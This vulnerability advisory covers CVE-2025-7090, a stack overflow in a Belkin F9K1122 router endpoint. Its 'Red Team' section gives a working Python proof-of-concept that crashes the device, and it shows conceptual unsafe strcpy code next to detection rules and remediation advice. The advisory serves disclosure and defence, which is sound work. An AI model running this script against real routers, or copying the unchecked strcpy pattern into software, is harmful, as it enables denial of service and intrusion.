CVE-2025-7090

Executive Summary

CVE-2025-7090 is a critical stack-based buffer overflow vulnerability in the Belkin F9K1122 router (firmware version 1.00.33). The flaw resides in the formConnectionSetting function within the /goform/formConnectionSetting endpoint of the web server component (webs). By manipulating the max_Conn or timeOut POST parameters, an unauthenticated remote attacker can overflow a stack buffer, leading to arbitrary code execution with root privileges. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts. No patch is currently available.

This vulnerability is particularly dangerous because it requires no authentication, can be triggered over the network, and affects a consumer router that may be deployed in home or small office environments. Given the lack of vendor response, users are advised to isolate or replace the device immediately.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware device.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists. Successful exploitation grants full control over the device.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formConnectionSetting function of the Belkin F9K1122 web server. The function handles HTTP POST requests to the /goform/formConnectionSetting endpoint. It copies user-supplied values for the max_Conn and timeOut parameters into fixed-size stack buffers without proper bounds checking.

When an attacker sends a POST request with an overly long value for either parameter, the data overwrites adjacent stack memory, including the saved return address and other critical data. This allows the attacker to hijack the program's execution flow and redirect it to attacker-controlled shellcode.

The web server runs with root privileges, meaning successful exploitation results in complete compromise of the router. The attack is trivial to execute: a simple HTTP POST request with a long string is sufficient.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void formConnectionSetting(struct request *req) {
    char max_conn_buf[64];
    char timeout_buf[64];
    char *max_conn = websGetVar(req, "max_Conn", "");
    char *timeout = websGetVar(req, "timeOut", "");
    // No bounds checking
    strcpy(max_conn_buf, max_conn);
    strcpy(timeout_buf, timeout);
    // ... process settings
}

Patched Code (Hypothetical):

void formConnectionSetting(struct request *req) {
    char max_conn_buf[64];
    char timeout_buf[64];
    char *max_conn = websGetVar(req, "max_Conn", "");
    char *timeout = websGetVar(req, "timeOut", "");
    // Proper bounds checking
    strncpy(max_conn_buf, max_conn, sizeof(max_conn_buf) - 1);
    max_conn_buf[sizeof(max_conn_buf) - 1] = '\0';
    strncpy(timeout_buf, timeout, sizeof(timeout_buf) - 1);
    timeout_buf[sizeof(timeout_buf) - 1] = '\0';
    // ... process settings
}

The fix involves replacing strcpy with strncpy and ensuring null-termination. Since no official patch exists, this is a hypothetical remediation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Belkin F9K1122 router with firmware 1.00.33 on the same network.
• Python 3 with requests library.

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "192.168.2.1"
payload = b"A" * 200  # Overflow buffer

url = f"http://{target}/goform/formConnectionSetting"
data = {"max_Conn": payload, "timeOut": "30"}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"Exploit sent. Response: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Usage:

python3 exploit.py 192.168.2.1

Expected Outcome: The router may crash or become unresponsive. A more sophisticated exploit would include ROP chains or shellcode to execute commands.

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP POST requests to /goform/formConnectionSetting with unusually long parameter values.
• Use network intrusion detection systems (NIDS) to alert on oversized POST data.

Hardening:

• Isolate the router on a separate VLAN with no internet access.
• Disable remote management if not needed.
• Replace the device with a supported alternative.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /goform/formConnectionSetting with max_Conn or timeOut parameters exceeding 64 bytes.
  • Unusual outbound connections from the router to unknown IPs (post-exploitation C2).
• System:
  • Router crash logs or unexpected reboots.
  • Modified firmware or configuration files.
• File:
  • Presence of shellcode or binary blobs in /tmp or /var (if accessible).

Detection Engineering

YARA Rule

rule CVE_2025_7090_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-7090 in HTTP POST data"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-7090"
    strings:
        $post_path = "/goform/formConnectionSetting"
        $param1 = "max_Conn="
        $param2 = "timeOut="
        $overflow = /[A-Za-z0-9]{100,}/  // Long string indicator
    condition:
        $post_path and ($param1 or $param2) and #overflow > 0
}

Sigma Rule

title: CVE-2025-7090 Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with oversized parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formConnectionSetting'
        cs-uri-query|contains|all:
            - 'max_Conn='
            - 'timeOut='
    condition: selection and (len(cs-uri-query) > 200)
falsepositives:
    - Legitimate long configuration values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7090 Exploit Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formConnectionSetting"; http_uri; content:"max_Conn="; http_client_body; content:"timeOut="; http_client_body; pcre:"/[A-Za-z0-9]{100,}/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the Belkin F9K1122 from the network or place it behind a firewall that blocks inbound HTTP traffic.
2. Disable remote management: If accessible, turn off remote administration features.
3. Monitor for exploitation: Deploy the provided detection rules to identify active attacks.

Long-Term Fix:

• Replace the router: Since the vendor is unresponsive, the only reliable fix is to replace the device with a supported model from a vendor that provides security updates.
• Apply community patches: If available, consider using open-source firmware (e.g., OpenWrt) if compatible.

Vendor Contact: Belkin was notified but did not respond. No official patch is expected.

Valters IT